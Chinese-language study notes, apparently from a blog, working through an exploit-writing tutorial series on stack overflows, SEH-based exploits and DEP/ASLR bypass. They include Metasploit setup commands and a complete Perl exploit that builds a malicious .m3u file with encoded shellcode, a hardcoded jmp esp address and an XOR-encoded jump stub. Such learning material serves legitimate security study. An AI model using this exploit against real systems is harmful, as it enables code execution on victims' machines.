Exploit 编写系列教程第一篇:基于栈的溢出
①用armitage生成shellcode:
sudo /etc/init.d/postgresql start
sudo msfdb init
sudo msfconsole #启动后用db_status查看一下数据库连接状态
再打开armitage,生成shellcode:
②P18页最终想要Exploit弹出系统自带计算器,这里有个细节:
为什么是25个,不是4个?原因是除了要考虑ret 4
后esp会弹掉4个字节,还要考虑shellcode的执行。程序执行是需要指令对齐的。
Exploit 编写系列教程第三篇_基于SEH的Exploit
①要想进行SEH攻击,首先要确保程序有异常处理机制。有异常处理机制的程序会安装异常处理机制,如图:
可知特征码为64 A1
。在程序中查找特征码即可知有无实施SEH攻击可能性。
②windbg用于确定程序崩溃、异常、非法访问是否可利用的插件要用这个版本的MSECExtensions_1_0_6.zip,否则在xp下无法正常加载
③为什么使用pop pop ret
?
因为异常处理函数_except_handler的原型如下:
所以刚进入异常处理函数后的堆栈如图:
这时只要执行pop pop ret
,就可以让eip
指向当前SEH链的首地址。
所以,典型的exploit结构如图:
④为什么P20这里还要加这么多nop
?
如果不加,程序不会产生溢出异常- -||
⑤练习题中,如何采用覆盖eip
的方式写exploit?
分析过程如下:
接下来,
- 先找出覆盖
edx
的字符偏移量,为4127 - 将偏移4127处的4个字节覆盖为某个地址,对这个地址有几点要求:
要保证该地址减8的结果位于进程内合法的内存空间,且该内存空间此处存放的dword值须小于等于0;
要保证这个用于覆盖的地址不能含有\0
;
缓冲区对某些字节有限制措施; <=== 这一点我试了两天才发现,规则应该是必须传入可视ASCII码值(含可视的扩展ASCII打印字符),这也是这个漏洞程序的神坑!!!。除此之外,还要保证缓冲区的开头是http:// (这里我说的所有偏移量都没有把缓冲区开头长度包括进去) - 我们再确定跳板
ret
指令所返回到的地址在exploit中所对应的字符偏移量,此ret
引导我们跳入shellcode。偏移量为4099 - 然后确定shellcode存放位置,要注意存放地址不能含有
\0
。鉴于缓冲区地址高字节始终为00
,所以我们采用jmp esp
的形式进行跳转。注意找到的jmp esp
地址也要不能含有\0
。 <=== 为了找合适的jmp esp
地址,我花了很多时间。不是因为在dll里找不到jmp esp
指令,而是因为缓冲区的字符限制措施,让我无头绪地调试了很久。后来换了一个地址,又好了。 - 由于执行
jmp esp
后esp指向了0x125cd4,所以我们在此处放置一个jmp to shellcode
的指令,而我们的shellcode存放在0x00124ccd。这里不能采用硬编码的方式跳转,因为0x00124ccd含有00
,所以采用xor
指令给该地址加下密。加密钥匙是0x48487876: <=== 这个方法我也想了好久,加密钥匙我也试了好一会儿,都是因为缓冲区字符限制措施让jmp 相对位移
总是失败(因为无论怎么算相对位移,里面总是包含不可视ASCII码字符ff
)、试的其他加密钥匙也被限制了……默泪啊 T T
68 4B 34 5A 48 push 485A344Bh #0x125cd4 xor 0x48487876 = 0x485A344B
B8 86 78 48 48 mov eax,48487886h
33 04 24 xor eax,dword ptr [esp] #执行后eax值为0x00124ccd
50 push eax
C3 ret
最终,我们的exploit的布局为:
exploit如下:
my $file="test.m3u";
my $pre="http://";
my $shellcode=
"\x89\xe6\xda\xdb\xd9\x76\xf4\x58\x50\x59\x49\x49\x49\x49" .
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" .
"\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" .
"\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42" .
"\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4b" .
"\x58\x50\x44\x45\x50\x43\x30\x43\x30\x4c\x4b\x51\x55\x47" .
"\x4c\x4c\x4b\x43\x4c\x45\x55\x43\x48\x45\x51\x4a\x4f\x4c" .
"\x4b\x50\x4f\x45\x48\x4c\x4b\x51\x4f\x47\x50\x45\x51\x4a" .
"\x4b\x51\x59\x4c\x4b\x50\x34\x4c\x4b\x45\x51\x4a\x4e\x50" .
"\x31\x49\x50\x4d\x49\x4e\x4c\x4c\x44\x49\x50\x42\x54\x43" .
"\x37\x49\x51\x49\x5a\x44\x4d\x43\x31\x48\x42\x4a\x4b\x4b" .
"\x44\x47\x4b\x51\x44\x47\x54\x45\x54\x42\x55\x4b\x55\x4c" .
"\x4b\x51\x4f\x46\x44\x43\x31\x4a\x4b\x42\x46\x4c\x4b\x44" .
"\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x43\x31\x4a\x4b\x4c" .
"\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4d\x59\x51\x4c\x51" .
"\x34\x45\x54\x48\x43\x51\x4f\x50\x31\x4a\x56\x43\x50\x51" .
"\x46\x45\x34\x4c\x4b\x47\x36\x46\x50\x4c\x4b\x47\x30\x44" .
"\x4c\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x43\x58\x45" .
"\x58\x4b\x39\x4b\x48\x4b\x33\x49\x50\x43\x5a\x46\x30\x42" .
"\x48\x4a\x50\x4c\x4a\x44\x44\x51\x4f\x42\x48\x4a\x38\x4b" .
"\x4e\x4d\x5a\x44\x4e\x51\x47\x4b\x4f\x4a\x47\x42\x43\x45" .
"\x31\x42\x4c\x45\x33\x45\x50\x41\x41"."\xcc"x3796;
my $ret_to_jmp_esp=pack('V',0x7c86467b);
my $jmp_shellcode="\x68\x4B\x34\x5A\x48\xB8\x86\x78\x48\x48\x33\x04\x24\x50\xc3";
my $padding="\xcc"x9;
my $edx=pack('V',0x76366f40);
my $padding2="\x90"x866;
my $payload=$pre.$shellcode.$ret_to_jmp_esp.$jmp_shellcode.$padding.$edx.$padding2;
open(myfile,">$file");
print myfile $payload;
close(myfile);
print length($payload)."bytes\n";
这里附一个寻找可见ASCII码值的技巧:可见ASCII码值的hex值位于0x20~0xFE之间。
Exploit 编写系列教程第六篇 绕过Cookie,SafeSeh,HW DEP 和ASLR
文章里说开启DEP后,在windbg下执行dt nt!_KPROCESS 00400000 -r
后会看到:
+0x06b Flags : _KEXECUTE_OPTIONS
+0x000 ExecuteDisable : 0y1
+0x000 ExecuteEnable : 0y0
+0x000 DisableThunkEmulation : 0y0
+0x000 Permanent : 0y0
但是我开启DEP后,实测xp、win7下都是这样子的(我的硬件支持DEP):
I don't know why...